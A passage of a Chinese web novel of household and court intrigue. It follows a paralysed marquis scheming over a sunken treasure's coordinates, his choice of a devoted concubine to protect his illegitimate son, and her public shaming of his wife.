当年老端侯只负责下决定和部署,将这些东西沉入海底的时候,他并不在场。当中本该回来复命的心腹也出了意外,葬身鱼腹。 虽然有那知情的本该被灭口的活了下来,可也没有从他门口中拷问出当时的具体情况,只余下了那假死而失去踪迹之人。 主要还是老端侯当年旧伤突发,离世时也很突然,这中间有许多事没交代清楚,以至于到现在才查到疑似的那几家头上。 夏明月整个人都来了精神,一颗心都提到了嗓子眼儿里:“他让你去查这另一半坐标,是已经有线索了?” 孙允斌却满脸坦诚、一筹莫展地否认了:“这件事难就难在,那些话根本称不上线索。世子许是对我还不够信任,就算我现在按照他所说的‘线索’去找,也难以验证结果的真伪。” 夏明月颔首:“这都是二十多年前的事了,想来很难找寻,你想要验证,用什么可以验证?” “用侯爷手上已经有的另一半坐标并加以查探即可,只是……侯爷定然不肯将如此重要的东西交到小生手上。另外,小生也不信侯爷手上只有这些零星线索,他知道的一定更多,只是不肯透露罢了。” 孙允斌遗憾地道,他想要已有的这部分坐标是真的,可他也不相信李玦对要他去找的这部分像是表现出来的这般不知。 虽然他还不知道邓澜父女已经将现在端侯府拥有的这部分坐标给了华靖离,可他知道只有用这个方法才能诱出更多讯息,也就这么做了。 尤其这样做还能加剧夏明月和李玦之间的矛盾,即便不清楚夏明月究竟能不能找到这已有的半份坐标,只要能让她再次把这端侯府折腾个人仰马翻也行。 果然,夏明月琢磨了一下,便很有兴趣地道:“另一半坐标已经在他手上了?那还不简单,你只管放心,这么重要的东西,他定然不会只记在心里,一定已经记了下来,甚至还有图纸。” “只要这东西在这端侯府里,我就能把它找出来。一有消息,我就让巧兰去寻你。有了两边的坐标,两相验证,找起来总归要容易些,只不过……你该知道要如何回报我吧?” 孙允斌立刻诚惶诚恐地表示:“夫人只管夫人,小生一旦得到了另一半坐标,也定会告知夫人。这坐标在小人手里不过几个数字和一张废纸,只有到了侯爷、夫人和相爷这样的人手里才有用,小人自来知道轻重。” 这不是岸上的墓穴,买通一伙人就能挖出来。海底的东西要想取出来,所需的财力和人手巨大,不是他一个东宫舍人能够拿得出手的。 端侯府之所以有这样的人手和技艺,也是经过二十年有的放矢的努力之后才行的,别说是孙允斌,就算是华靖离和圣上短时间内在这方面也不会有什么建树。 因此,夏明月不用担心孙允斌会拿着完整的坐标跑了,他想要动海藏,必须通过他们。 孙允斌见夏明月对此深信不疑,又东拉西扯地畅谈了一番海藏取出后的大好局面,就告辞着手启程事宜了。 等出端侯府,孙允斌的嘴角才溢出几丝诡谲的笑,等他有了完整的坐标,他当然不会跑了,只是这东西在交给夏明月和李玦之前,会先交给华靖离和夏明嫣。 虽说华靖离和圣上、太子现在还没有办法把东西捞出来,要是从现在开始做准备,少说也得三年五载的,可是他们可以一起,把端侯府和楚家准备了二十年的海上班底夺过来。 那可就是大功一件了,他现在就想光明正大地立功,早日可以搬到了那什么四家联盟,好让自己站在朝堂上。 他将来的官位没有李玦许诺给他的高也无所谓,这四家的首领,一个已经尽管老谋深算却已老迈,一个圆滑却没有担当,且已然退出。 一个在彭州边城暗中蝇营狗苟了这么多年,早已不知外面的事究竟如何了,还有一个虚伪、会隐藏,原本被寄予厚望,如今却成了一个瘫子。 第502章瘫子的退路 而且这个瘫子绝不是那种能够运筹于千里之外的瘫子,他哪儿还能站在这帮“老帮菜”身边? 对,在孙允斌眼里,这几个人都是“老帮菜”,包括这里面年纪最轻的李玦,这些人都沉浸在对过去那件事的谋算里,仿佛与外面的事尤其是近来外面的事都隔绝了似的。 这中间如果不是有楚家在外面撑着,他们的事儿早就露在人前了。 可是成也萧何,败也萧何,整件事情一开始起于老端侯的野心,后面老端侯死了,成全的却是楚霆孝的私心,是他想要成为南疆王,而李玦在老端侯过世时才不到五岁,他自己都没有意识到,他想做的一切更多的是受到了生母何夫人和楚霆孝的影响。 何夫人的动机倒是好理解,为了先夫的遗愿,而且一个娘家家道中落的寡妇,除了让儿子继承先父遗志,也没什么好做的了。 这可就苦了李玦了,从小被何夫人耳提面命,还有楚霆孝通过夏明月和李玦青梅竹马的关系,让夏庸和楚氏放任他们二人私相授受,借此让夏庸影响李玦的志向…… 李玦这半辈子,看似受老端侯和何夫人影响最深,实际上在老端侯死后,他的父母就都变成了楚霆孝实现自身目的的棋子、工具。 李玦本人那就更别说了,他知道自己真正想要什么或是适合怎样吗?他以为自己知道,还非常坚信,一步一步地把自己变成了元京最有名的虚伪小人,还是个瘫了的伪君子! 虽然李玦现在应该也意识到了这一点,可是后知后觉,为时已晚,能自保尚且不易,哪儿还能带着被人奔前程呢? 孙允斌离开端侯府之前再次望了眼李玦现在住的院子的方向,这家伙现在要是能开始想着自保,或许还有一线生机。 他可不陪着这双癫公疯妇闹了,他得奔自己的前程,在这过程中把这些推进更深的深渊,也得怨他们自己不修德…… 孙允斌暗中回禀了华靖离和谢维之后,便离开了元京,去寻访另一半坐标的下落,也要绕道南疆去会一会那位诸王之首的常王。 这边李玦见到了何雨萍,何雨萍是个干练女子,她嫁入端侯府为贵妾,也与李玦有了夫妻之实,可她实际上还是不能跟一般的妾室等同。 她会嫁入端侯府,原本想着怎么样都得跟李玦生个孩子,无论男女都代表了她和何家跟端侯府之间的联系。 对,只有血脉是最紧密的联系,这孩子是庶出也无所谓,反正也没指望着这孩子当世子,这一点她跟她父亲很清醒,与其死皮赖脸地赖上去,硬是要求什么,只会让自家没脸。 就算当初她的姨母何夫人成功将夏明嫣贬妻为妾,让李玦娶了邓澜又如何? 那不过是权宜之计,就邓澜那个病弱的身子,即便生下嫡子,怕是那孩子也是个病秧子。 邓澜还会因为生养坏了身子,他日她要么会被送去出家,要么等她没用了,随便动点手脚让她与世长辞,总之这正室的位子定然要让出来。最终的端侯或是端王夫人还有世子,不会是邓澜和她所出的孩子,这两个位子定然属于哪个实力强大的世家。 何雨萍不想觊觎这些虚无缥缈的东西,她只想着巩固何家与端侯府的关系,给何家谋一条更稳固的出路,等到她阿弟成长起来,继承了何家,一切就好办了。 可是,饶是如此务实的何雨萍和何大舅也没想到事情会发展到这一步,李玦真是太脆弱了,真是又要助力、前程,又要脸,还不许“施舍”他的人不尊重他。 何家人这些年经营自己的生意,笼络着那些三教九流的人,应对官府、大族豪绅、商贾、市井小民……哪个没给过他们气受,要是个个都这么脆弱,她跟她父亲早就瘫了多少回了。 她虽然不喜欢也不信服夏明月这个主母,可她承认夏明月有句话说的对,就是没有这次的事,将来他立于朝堂之上,参与到南疆诸王的争斗中,可没人捧着他。 他这般脆弱,不在这一回被气瘫,也得在下一回跟别人的交锋中气死,这中间不是会和不会的区别,仅仅是早与晚的区别罢了。 不过,何雨萍毕竟跟李玦之间还有着表兄妹之间的情谊,相对于邓澜来说,因为小时候端侯府和何夫人对他们的所求还在亲戚间礼尚往来、守望相助的范围内,并没有多少过分的要求,他们之间的感情也相对单纯些。 连着大半个月没见到李玦本人了,这次相见,何雨萍到底是起了怜惜之意了,好好的一个表兄,纵使在大事上不当用,至少原本还是个玉一般的公子,如今却成了这般模样。 要说乔嬷嬷派来服侍的人其实服侍得还不错,只是李玦身上这股颓废之气,实在让人看了心酸。 何雨萍抹了把眼角,上前坐到他榻前,凑近了道:“表兄,你现在可还好?听郎中说,你这病得静养,不能再劳心费力了。” 李玦心里也苦,只是之前他已经浪费过一些见面的机会,吃过亏了,这一回再不能把时间浪费在那等悲风伤秋的事情上。 他迅速地整理了心绪,语气认真地道:“我知表妹心意,只是无须再说此等虚言,先不说他们不会允许我离府养病,就算可以,这摊子事儿要是不料理好了,我也没有命活。” “如今何家那边可好?南边的事和生意上的事,进展可还顺利?有没有遇到麻烦?” 在整件事里,何家负责的不止是底下那些不大不小的见不得光的破事儿,他们还负责暗中跟南疆余部的联系,其中就有负责打造探海绞索的那个“渔村”。 何雨萍面有难色,可还是据实以答道:“那个被缴了的村子倒不是大事,这样的村子咱们还有五处。关键还是在太子殿下留了人下来,好像还有宫里的暗卫和华家人参与了进去,他们在海岸上盯着,任何出海的船都会被盘问。” “绞索已经打造好了,可即便运到了岸边,上不了船或是到了地方被人拦下了,不止会功亏一篑,我们的人恐怕也会被顺藤摸瓜地都抓了去,那些可都是余部的老人了。” “还有就是,根据邓家姨夫所述的坐标,是能确定一个大致地范围的。可是此处多有暗礁,海浪汹涌,单靠人力探查,恐怕又要好些年,还是要有另一边坐标才行。” 这些余部的老人和他们的后人,距离老端侯在世时最多不过两代,跟李玦还是有香火情的。 一旦折损了,先不说能不能再找到海上和造船、造器物的好手,即便他们出得起价钱,那些人跟这些老人相比,会有那么忠心么? 第503章想退也不容易 再有,招募人手本身就会闹出不小的动静,那是给自己招祸呢。 这海上如今也有人盯着,有了确切的坐标,可以快刀斩乱麻地把东西取出来,要是派了船和人在那儿摸索,那些东西恐怕就落不到他们手里了。 这时候他们就是后悔了,想要投效朝廷,也得先把东西取出来。这放在海里的东西和已经取出来的相比,这中间可是天差地别啊。 要是继续谋划起事,那就更别说了,东西不仅要取出来,还得悄无声息地运走藏匿。这就要求取东西和运送的过程都要快而准,没那么多工夫在海上摸具体位置。 “这件事我已经安排人去做了,凭借着暗部得来的消息,这回应该能找到。你先做些准备,等到坐标送回来了,你也去南疆,帮我盯着点儿。” 李玦说出了深思了几日的安排,南疆需要他信得过的人,何雨萍是他身边为数不多的几个能信任的亲人了。 何家一直管着居中联络和采买精铁、精钢之事,相对来说,南疆余部也最熟。不仅是他的贵妾,也是他母家的表妹,这层关系也能让那些人更加信服。 不过,他如此安排,也是动了恻隐之心了。有夏明月在这儿把持着,之后还要依靠楚家,从前还有何夫人和他护着,现在就剩了她一个了,她继续留在元京,就怕会遇到什么“意外”。 何雨萍体悟到了这一点,纵使她不喜矫情,还是有些感动的,当即微微哽咽着叫了声“表兄”: “表兄心里还有萍儿,还有何家,这就够了。这样的大事,谋算多年还有变数,实在是天意不可违,我和我父亲都是看得开的人,我们也都好办,大不了回乡做些小买卖,或是离开大恒也不难。” “可怜的是表兄你,事已至此,我知道你心气儿高,从来没想过会有这样的一天,有些话不该说,可你身上毕竟流着一半何家的血脉,我也不得不说了……你是不是应该想想退路?” “你无子嗣,即便现在有哪位姐妹怀上一个,这孩子等到大事成时才多大?他们真的会将该有尊荣、地位都给你们吗?现在你能衣食无忧地养病,折腾一场下来,九死一生……万一还是只能拘在这方寸之间……” 将来跟现在无甚区别,中间还要经历诸多的艰险,能够平安终老都算不错了,说不定还不如现在呢。 要是别人,何雨萍一定不会这样劝阻,她一定会劝那人搏一把,可是李玦这情况……说句不好听的,谁在他药里动点手脚,别说下毒了,就是调整一下方子里药材的剂量,都可能让他丢了命。 将来人家想让他无声无息的消失,根本不费吹灰之力。那么大一笔财富,要是个能当事儿的全乎人,或许还能守得住,偏偏…… 其实从前李玦把自己弄得名声大造,也是为了能让自己多在人前露脸,让人们习惯他的存在,将来万一有人想悄么声地处理了他,也得想想会不会被人盯上。 毕竟要是有人对他动手了,就意味着那笔财富很可能落到那人手里了,那人也会继续被别人觊觎,陷入危险当中。 可现在不一样了,他要是消失了,谁还有理由为他出头? 尤其是对他动手的人力八成会有楚、陆两家的人,要是他真出了事,单就夏明月这个做妻子的出面,说他就是自己病死的,纵使别人骂她疏于照料,故意放任他去死,纵使世人会骂她“毒妇”,也于事无补啊。 这些话何雨萍不敢跟他说得太透,担心又刺激到他,只能大概提点一下。 好在李玦这些日子以来也想明白了,他反而感慨地安慰何雨萍:“世事无常,当年事情败露,我父亲骤然过世,其实就意味着这事儿在我们陆家这儿到头了。是母亲和我都不死心,才落到了今日之地步。” “若是当年就放手,圣上既然容得下我这么多年,还把爵位给了我,想来当年若是坦诚一切,至少也能容得了我犹如一般官家子弟一般科考入仕,我也不至于人前人后做那些事,把自己弄得这般不堪。诶,萍妹妹,你别哭……我有事要交代你。” “你都想好了?要退?可你得想好了,咱们不比夏家,不是说退就能退的,可能结果也不会尽如人意。” 何雨萍想从他的神情里看出什么,他从小被何夫人保护得太好了,以致于他以为他拥有的都该是这世上最好的,容不下也不该有太多的不完美。 殊不知,以端侯府之后的地位,他们根本配不上那么多的完美,或许他所谓的想要退了,只是一时冲动,之后很快就会后悔。 李玦却摇了下头,以从未有过的严肃态度道:“表妹,我是认真的,正如你所说的,我们何苦为他人做嫁衣?何家这边你也清楚,即便事成,在世家面前,也一样不可能一代之内就位列公卿。” “倒不如拿一笔资财,好生教养表弟,一步一步慢慢来。我这边……当然不可能像我那岳丈那样说退就退,也得一步步地来。” 他顿了顿,把声音压得更低了,“海藏要取,至少要万事俱备了,咱们才能退。到时候无论选择哪一边,只有东西在咱们自己手上了,才有谈判的本钱。” “这中间我也得保重身子,这府里的人……我不放心,你也得准备去南疆了,就算你在,怕是也不能守着我。我身边需要一个服侍的人,这个人要可靠,能照顾我养病,要跟我们的利益一致,不能被他们拉拢了去。” 虽然夏明月和楚氏都允许何雨萍来见他,但那是为了让他放心,也让何雨萍帮他打理外头和何家的事,并不是让何雨萍贴身服侍他。 而且就算她们允许,何雨萍也到底也是士绅家的闺秀出身,让她手把手地服侍一个瘫子,她也干不来这样的活儿。对比起要料理外面的事,她若是被拘在这样一个小院儿里,也是大材小用了。 更何况何雨萍毕竟是李玦的贵妾和表妹,即便现在李玦已经是个瘫子了,他们二人不可能再有那种事儿,夏明月看到她就能一点儿怨气都没有了? 以前夏明月就嫉恨何雨萍,现在她自己也什么都得不到了,这种嫉恨只会加倍增长,她也会加倍地用内宅的手段搓摩何雨萍。 日子久了,何雨萍会受不了,心气儿被搓摩没了,情分也得被搓摩没了,如何还能用心为李玦打理外面的事?这样对李玦的损失反而更大。 第505章纳吕冠瑛为妾 与其让何雨萍跟他之间的兄妹之情、夫妻之情消磨殆尽,不如保全这份情分,她也能继续在外头帮他张罗、打点。 退一万步说,万一将来李玦所有的谋算都落空了,以何家的能力保不了他一辈子荣华富贵,给不了他远大的前程,但凭着手底下的心腹和那些三教九流之人,至少能保着他远逃,至少能保住一条命。 李玦身边还得是一个既足够忠心,能服侍好他的起居、汤药,需要一个可靠的贴身服侍的人,这个人不仅要能吃苦,受得了夏明月的搓摩,关键是虽然不指望他能拿什么大主意,但遇事必须能够灵活机变。 何雨萍一时还真想不出身边有谁符合这样的条件,就算有这样一个在能力上满足要求的人选,又怎能在短短时日之间对一个从前没有任何交情的瘫子生出忠心。 她只盼着李玦能有这么一个人选了:“表兄心里已经有人选了?是谁?我出去就去安排。” “吕氏。”李玦说出两个字。 “谁是吕氏?” 何雨萍完全没想起这人是谁,愣了一会儿才依稀想起新认回来的那个庶子的生母好像是姓吕,就是公堂上说的那位已故的“吕大姑娘”, “可是小少爷的母家姨母?就是公堂上的那位吕二姑娘?她……能行吗?”何雨萍脸色微变。 那时候以她的身份上不了元京府衙的公堂,当时的情形都是事后听人转述的,但她也知道,那吕二姑娘嫉恶如仇,还很有骨气,对着端侯府的人都横眉冷眼的。 其实在这件事里,至少在李玦已经做出的行为来看,他的错不算大。 这时候的世家公子在外面养了外室的不在少数,何况那吕家大姑娘只是书寓里的女子,虽说当时是个清倌,可要不是后来不久就被吕家认了回去,她就是做这营生的。 李玦不让她进门,也没置宅子安置她,在当下的世风之下,这是很正常的一件事,尤其是吕大姑娘有孕之事,从来没有人来知会过李玦。 这一切至少在当下这个世道都是情有可原的,虽说李玦要是知道了这件事,八成不会要那个孩子,可这件事毕竟没有发生过。 就连何夫人害了不争不抢的吕大姑娘的性命虽然犯了大错,可这么做也跟其他大族的当家主母没有多大区别。就连夏明月这个意见最大的, 这种情况下,那吕二姑娘还恨死了这些个人,这样的一个人如何能够担此重任? 李玦却道:“在母亲去清修之前,这孩子便上了族谱,将早年我身边的一个已故的侍女记做妾室,那孩子如今名义上是这侍女所出的庶子。” “原本我没想着对着孩子有多重视,可是有我在,总没有人能短了他的吃穿用度,也至少能让人教他读书识字,不让他走了歪路。将来给笔银子,好歹有份营生。” “现如今我这般样子了,府中上下皆由夫人和那乔嬷嬷打理,我打听过了,这阵子她们忙乱,恐怕都忘了那孩子了。他性命虽然暂时无忧,可也不过是能有口干粮果腹罢了。” “万一哪天她们想起这孩子了……你可知今日夫人与我说什么?她说,他日侯府的继人要厨子她腹中……” “她……”何雨萍睁大了眼睛。 李玦现在这样子倒不是不可能有子嗣,至少那些郎中,包括夏明嫣在内,都没有提到这一点。也就是说只要有女子不在乎李玦瘫了,还是能有子嗣的。 虽说这么做……有失情意,可为了子嗣传承也顾不得这么多了。虽然她自己没打算做这个人,但既然李玦已经袭爵了,总有那良家女子愿意入府为妾,做那孩子的生母。 当然,夏明月就算现在厌恶了李玦,可为了生下嫡子,为了侯府的爵位和将来能独掌侯府,还有念着往日的情分……她完全可以试一试,可是不是瞎子都看得出来她没打算那么做。 可是偏偏夏明月就这么说了,那她就是没打算跟李玦生,她是打算跟别人生…… 不过这样的话,何雨萍倒是明白李玦的用意了,“表兄是说,吕二姑娘与小少爷血脉相连,小少爷甚至已经是她在世的唯一还有联系的血亲了。” “她也知道夫人行事是何做派,就算为了孩子,她也是愿意进府的。你的将来如何,就意味着小少爷的前途如何,说不定她真的愿意。” 只要愿意入府为妾,吕冠瑛就可以亲自照顾那小庶子,而且她还可以跟李玦谈条件,哪怕李玦将来好了,重新有了嫡子了,也能给这孩子谋一个更好的前程。 况且因为这个孩子的关系,加上吕冠瑛本人也已错过了寻常女子婚嫁的年纪,进府与李玦为妾还能看着自己的亲外甥,这是一举两得的事。 况且夏明月这人虽然会为难府里的女眷,却不至于上来就将人给打杀了。何雨萍受不了内宅的搓摩,可像吕冠瑛这样吃过苦还有强烈目的的人,这些苦不是不能忍的。 而且吕冠瑛跟她们这些高门和官家女子完全是两种人,说白了就是光脚的不怕穿鞋的,那孩子从小也是她带大的,这就像母兽要保护小兽一样,比她们这样的人烈性许多。 最重要的是,如果李玦死了,或是比现在的情况更糟了,再或是他这儿的消息无法传递出去,那么紧跟着那孩子也不会有好下场,因为没有李玦护着,夏明月不会放过他。 李玦无奈地笑了一下:“没想到我落到了这般田地,现在与我休戚相关的居然会是这样一个人。我这样做,也是华靖离和姨姐那边给了我一些想法……” 何雨萍略想了一下,又是一惊:“你是说,华侯纳邓家表姐为妾,其实是另有目的,她不是真的去做妾的?那……那件事她和邓舅父是不是已经说了?” 李玦冷笑一声:“即便现在还没说,也早晚会说。不过,他们说了也没用,还有另一半的坐标不在他们手上,现在就是比谁更快了。” “可是,毕竟有一半儿已经落在他们手里了。表兄,华侯知道了,就等于圣上知道了,即便他们不知道海藏具体在哪儿,难道这还不够吗?”何雨萍眼皮直跳。 天子要的不止是那笔价值连城的财富,还要阻止他们几家的谋划,当年的是天子定然早就疑心了,只是一直坐等他们上钩,等着更多的证据和线索浮上岸来。 第505章反式搓摩 邓家父女就是活的人证,虽说不是直接人证,也是旁证,圣上只要抓住这个把柄,就可以命人先将他们抓起来盘问。这些人养尊处优惯了,一定会有招架不住的。 “我也是最近才品出味儿来,圣上从来就没有放松过对端侯府的监视,即便邓表妹没有嫁给华靖离,圣上派来的人也早晚能发现他们父女与咱们的关系。” “不过是早晚之分而已,如今的确早了点,可那是对于他们来说的。对我,已经不重要了……何表妹,你别哭,我已经在想退路了。” 李玦怅然道,这时候他反而要安慰何雨萍,一种奇妙的转变竟然在此时发生了,他竟然发现自己开始前所未有的坚强起来。 海藏要先取出来,才有谈判的资本。之后无论是将东西献给楚霆孝,还是交给朝廷,才都能保证他们这一方的利益。 没错,端侯府和老端侯是这一切的始作俑者,可是老端侯死的早。他贪墨、挪用了府库大量的钱财,通过海贸和盗挖外面的宝藏敛财,这些都不假,可是后面的事他还没来得及做就死了。 这些年何夫人和后来的他掌管着外面的人手,说到底都是在给取出宝藏做准备,这也只能算是老端侯未完成之事的延续,依然没有涉及到那些大逆不道的事。 这得感谢何夫人是一个妇道人家,而他如今刚二十出头,从前不过是一个孩童和毛头小子,干不了、别人也不会交托他什么大事。 那些大逆不道的事在他们端侯府这里,都只是计划和打算,他们实际触及的并不多,就连夏家也不过是打了些杂而已。真正把这一切付诸实践的,反而是楚家和陆家。 当然了,他们端侯府比夏家走得要深很多,可只要能把海藏取出来,这些东西所带来的价值足以抵偿一切。 大恒刚平北疆,还要整饬南疆,百废待兴,是真的需要这些东西的。他还有退路,至少保全了自己和族人,等到来日,后世子孙还能有东山再起的一天…… 一个月之后,夏明嫣和华靖离从北疆归来,他们前后出行了两个多月,而元京这边,一直都对外称华靖离去了城外给守城军练兵,夏明嫣随行,并在城外打点杨氏新开的药铺。 因为之前李玦的事儿,元京所有人的眼睛都盯在了端侯府身上,他们夫妇的真正动向倒是没有引起多少人的怀疑,知道内情的也不敢或不会说出来。 这两个多月里,元京发生了不少事,首先就是李玦纳妾了,而这个人就是他唯一的庶子的生母的妹妹吕二姑娘吕冠瑛,她不仅进了端侯府,还成了李玦的贵妾。 原本按照出身和以往各家的惯例,吕冠瑛至多能做一个良妾,是李玦寻了元京一位德高望重的节妇为吕冠瑛造势,说她当初是为了给思女多年以致重病的父母侍疾,撑起了吕家家业,还为了抚养身世堪怜的小外甥,才拖到这个年纪才不嫁的。 虽然她没有守过寡,尚未出嫁,不能算是节妇,但可以算是烈女,还为此真就上报了元京府衙,真为她请到了嘉奖烈女的匾额。 李玦便以由她教养庶长子的由头,直接抬了她做贵妾。端侯府的中馈还是由夏明月掌管,但李玦居所的内外事务,如今已经落到了吕冠瑛手里。 吕冠瑛就像何雨萍预料的那样,绝对是个狠人,夏明月将服侍李玦的人都撤了,吕冠瑛就亲自服侍李玦进食、擦身、方便,半点不嫌脏、不嫌累,没人挑水、劈柴、做饭、熬药,她也一肩挑起。 这冬日里需要炭火,夏明月不敢直接不给,给他们的都是大块儿的碳,根本没法直接烧用,吕冠瑛就自己分,或摔、或砍,弄得一身黑灰,一身疲惫,也能将碳都分好了。 夏明月要搓摩她,又嫌弃李玦的院子脏,就让她去正院请安。却不想不管叫她的时候,她在干什么,她都连身衣裳都不换、手都不洗,直接就去了。 吕冠瑛见了夏明月,别管夏明月和乔嬷嬷说什么,她都只会应承和傻笑,她刚给李玦伺候过黄白之物,上去就给夏明月端茶倒水,把夏明月给恶心的。 这做错事了吧,要罚跪,她就趁着被拖出去之前在地上打滚,一身的煤灰和污物就那样沾得到处都是。 夏明月从小娇养,她用的东西自来洁净,许是之前活得太干净、太讲究了,被这些污物稍微沾染一点,尽管之后立刻就有人来打扫干净,她还是被折腾病了,甚至还引发了哮喘,身上还长了一大片疹子。 吕冠瑛因此再不用去夏明月面前立规矩了,可这又引发了一件事。 那就是,虽然她的这些举动上不得台面,还让人膈应,可这些举动让人膈应的同时,也一样会毁了吕冠瑛的名声和她将来在府里的地位。 烈女又如何,妇德、妇言、妇容都不行,她在内宅就没有前程,将来就算李玦想管宫里给她要个敕封,都不可能了。 乔嬷嬷便劝夏明月,此人大概就是想带着那小庶子过点荣华富贵的好日子,没有大的谋算,便对她放松了些。 这可倒好了,吕冠瑛瞅着机会了,刚好赶在华靖离和夏明嫣回来的这天,她不知用了什么手段,竟然从端侯府里偷跑了出来,跑到了元京最热闹的坊市入口处。 华靖离先回了府,夏明嫣让人把马车停在一处街角,在里面看着热闹。还别说,这什么人的热闹有什么特点,还真有意思。 吕冠瑛本就是一个爱憎分明又有一股狠劲儿的人,现在为了自己唯一的血亲,可算是舍得一身剐了,不要脸面的口子一旦扯开,那可真就没有顾忌了。 围观的人只看见吕冠瑛一身东西上破了好几个口子,浑身上下就连脸上都沾着煤灰,在坊市门口席地而坐,一边以手捶地,一边大声哭闹着。 元京虽然还没下雪,可大冬天的,那地也够凉的,她就那样在那儿闹,也不嫌地上凉。 “天煞的,要遭报应啊,连炭火都不给,那么大的块儿,让我一个妇道人家自己劈。各位元京的父老姐妹,你们倒是都来评评理啊,我家夫主病得那般重,居然连炭火都不给足。” “这端侯府真到了吃不上饭的地步了吗?我家夫主是有爵位的,有朝廷发俸禄,不吃谁的嫁妆,竟然连日子都过不起了!” 第506章闹市和公堂 这坊市上出入的除了百姓和商家,还有各个官宦人家采买的管事、下人,这些人当中很快就有人认出了吕冠瑛就是李玦新纳没多久的贵妾。 “这不是端侯府新纳的吕小娘吗?元京府衙给颁了烈女匾额的那个吕家姑娘,虽然出身商贾之家,家里生意也做得不大,可是她对她的父母、阿姐和外甥绝对是尽心尽力了。” “可那又如何?还不是上杆子给人做妾去了?到底还是贪慕了侯府的富贵。” “小孩子家家的,懂什么?她这么做,还不是为了她的外甥,听说他们家里早年为了把她阿姐认回去,早就跟族人断了亲,又是后头才来的元京,就这么一个血亲了。” “就是,她要是不去做这妾室,那孩子说得好听是侯府的庶长子,背地里还不知道要怎么被那个母夜叉折磨。再说了,你看她这样子,手都裂口子了,一身的泥灰。哪儿有什么荣华富贵,这日子过得还不如我家的粗使丫鬟呢。” 周围的人都在附和,粗使丫鬟过得也苦,但像是劈炭这种重活儿都是男仆做的,或是干脆就从外面买了分好的回来,直接烧用即可。 而且粗使丫鬟和男仆再如何也都是自家府上的人,平日里干完活儿也都得换身儿干净衣裳,把自己收拾干净了。吕冠瑛身为侯府贵妾,烈女之名加身,还只能如此狼狈,可见处境有多差。 不过倒是没有人非议她坐地上撒泼有多不得体,更没人说她有辱名节。 这都被逼得活不下去了,还什么名节,这也得归功于吕冠瑛本身出身不高,几乎所有人都觉得跟这些小商贾谈不上什么名节。 更是大部分人都清楚,要是李玦身边没有一个吕冠瑛这样的人张罗着,恐怕他跟他身边亲近的人都没有活路了。 毕竟夏明月现在可是元京,不,连城外方圆百里都算上,无论门第高低把所有妇人姑娘都算上……还最有名的恶妇、毒妇! 这还不算,正当这儿热闹的时候,忽然有一个十来岁的少年跑了过来,这少年原就是坊市里帮着中人跑腿传递消息的,他一来就吆喝起来: “大家伙儿快去元京府衙看看吧,正好,咱们带上吕小娘一起去!夏家小公子,就是端侯夫人的同胞阿弟把她给告了,还有何家、李家的也一起,告她有失德行,羞辱妾室和亲族,还……” “还什么?快说啊,诶,我听说这夏家小公子为人清正,小小年纪,就被盛御史夸赞过,没想到还真是个能大义灭亲的!” 那少年喝口旁边茶肆递上来的粗茶,继续道:“还……这都没脸说,听说她啊,跟端侯的家臣牵扯不清,那家臣是定了亲事的,得知此事后要退亲,闹起来了!” 周围就像炸了锅一样热闹起来,没事儿的和不怕得罪楚家的都去了,还有要扶起吕冠瑛一起去,被旁边成衣铺子的女掌柜留下了,说是要上公堂,还是要注意一下仪容,请她进去收拾收拾再去。 吕冠瑛猜到这必是有贵人相请,进了内室一看,果然夏明嫣在等着她,她向夏明嫣行了礼,纵使早已在心里做好了准备,真见到了手脚还是有些局促。 夏明嫣借着这成衣店的小桌摆了两盏茶,请她坐下:“坐吧,现在已经吕小娘了,我该先祝你得偿所愿,再早日换个称呼,争取以后也能被称上一声‘吕夫人’。” “华侯夫人这是在怪我?如果我说我也是没有办法,不是故意利用华家的呢?” 吕冠瑛努力维持着神情,不想让自己在这时候表现出人后才有的脆弱。有些事儿,像夏明嫣这样出身的人是无法理解的。 夏明嫣却打断了她,笑得舒缓温润,半点没有恼了她的意思:“你误会了,我没有这个意思。女子存于世本就艰难,尤其是亲人横死,我们又有要继续守护的人。” “这世上的艰难并不像表面看起来那样容易估量,我不敢说你就比我艰难,或是我就比你艰险,苦难和艰辛不是拿来比较的……我只问你,可想好了?” 吕冠瑛颔首:“想好了,以后都不后悔。老实说,当日公堂之上,我瞧着即便真相被世人所承认,就连张大人也认可的情况下,依然不能让何夫人为我阿姐偿命。” “那时我便明白了,纵使有华侯、华侯夫人为我撑腰,我也保护不了那孩子,谁让这世上有礼法这东西呢?何夫人是端侯之母,她就有权力定端侯姬妾的死活,更何况是连外室都算不上的阿姐,还是个沦落过的。” “那孩子也一样,端侯是他的父亲,端侯夫人是他的嫡母,单就这一点,他的生死就拿捏在了他们手里。我当时就在想,在他长大、有自保能力之前,我能做的就只有在他身边护着他了。” 大家族的子嗣说是从父的,不管生母是谁,都是这府里的孩子,但凡上了族谱的,至少明面上的吃穿用度都差不多,就算各自的生母在背后有所补足,也不至于天差地别。 殊不知这背后的学问大了,先不说这高门出身的生母可能会请了高人在背后提点自己的孩子,给他们吃小灶,让他们能更早的掌握自己的前程。 这里面还有许多东西,子女的前程不止是他们将来的作为,还有婚嫁,先不说有那在乎血统的人家会计较生母的出身,就说落到子女自己身上,府里给的吃穿用度和礼仪师父可知管大面儿上的事儿,精细之处,乃至这少爷、姑娘会不会有品位、有气质,都少不了生母的提点和母族的底蕴为父族之不足做补充。 不过,对于那孩子来说,还到不了这份儿上,他更多的还是担心生死。 高门人家常有“去子”之说,往好了说,三岁看大,七岁看老,这筛选的标准便是看这孩子将来能不能成器,能不能对家族有用。往坏处和私心里说,那就要看这孩子会不会妨碍了谁的利益的。 但凡出了一看就不成器的,或是碍着了谁的,若这是个要脸的仁善人家,这被筛下去了的,还会给安排个衣食无忧的前程,给上一笔银钱,把他们离开家族各自奔前程去。 若不是那良善人家,姑娘家倒也罢了,大不了随便嫁出去。这要是个儿郎,被筛下去的说不准在长成前就没命了。 不然为何有那么多的人家,九成甚至所有的男丁都那么有出息呢。这并非天可见怜或是这家的教养如此得当,再好的教养也难有这么高的成才比例……那是因为那没有天资或是那极度遭人厌弃的已经在长成前被处理掉了。 第507章惺惺相惜 内宅之中,想要一个孩子的命,挨上一顿责罚,或是故意制造一场风寒,之后只要让郎中这儿疏忽一下,或是压根儿就不请郎中,那样的一条小命也就自然而然地送掉了。 这样以来便省得让那些不成器的子弟分薄了家底,也减少了这些不成器的带累家族丢人现眼的可能,还能博得世人一句“满门才俊”。 更何况是那样的一个孩子,他的生母在高门眼中不仅是蝼蚁,连一只干净的蝼蚁都不是,无人庇护,还得随时被人放在火上烤,甚至身边连一个忠心服侍的人都难有,他能不能活下来都两说。 尤其是,别人家的庶子、外室子,大部分都有生父相帮,可李玦如果不是落到如此境地了,也不会帮这孩子。 